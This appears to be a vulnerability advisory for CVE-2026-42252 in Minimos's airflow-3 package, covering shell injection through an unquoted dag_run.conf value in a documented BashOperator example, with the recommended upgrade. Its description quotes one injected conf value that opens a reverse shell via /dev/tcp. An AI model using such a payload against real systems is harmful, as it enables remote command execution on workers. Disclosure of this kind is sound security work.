Improper Neutralization of Special Elements Used in a Template Engine Affecting airflow-3 package, versions <3.2.2-r0
Threat Intelligence
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Test your applications- Snyk IDSNYK-MINIMOSLATEST-AIRFLOW3-17944691
- published11 Jul 2026
- disclosed1 Jun 2026
Introduced: 1 Jun 2026
CVE-2026-42252 (opens in a new tab)How to fix?
Upgrade Minimos:latest airflow-3 to version 3.2.2-r0 or higher.
NVD Description
Note: Versions mentioned in the description apply only to the upstream airflow-3 package and not the airflow-3 package as distributed by Minimos.
See How to fix? for Minimos:latest relevant fixed versions and status.
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
References
- https://www.cve.org/CVERecord?id=CVE-2026-42252
- https://github.com/advisories/GHSA-c85c-g9wv-pph2
- https://osv.dev/vulnerability/MINI-3cm5-5hh3-pfwq
- https://osv.dev/vulnerability/CVE-2026-42252
- https://github.com/apache/airflow/pull/64129
- https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7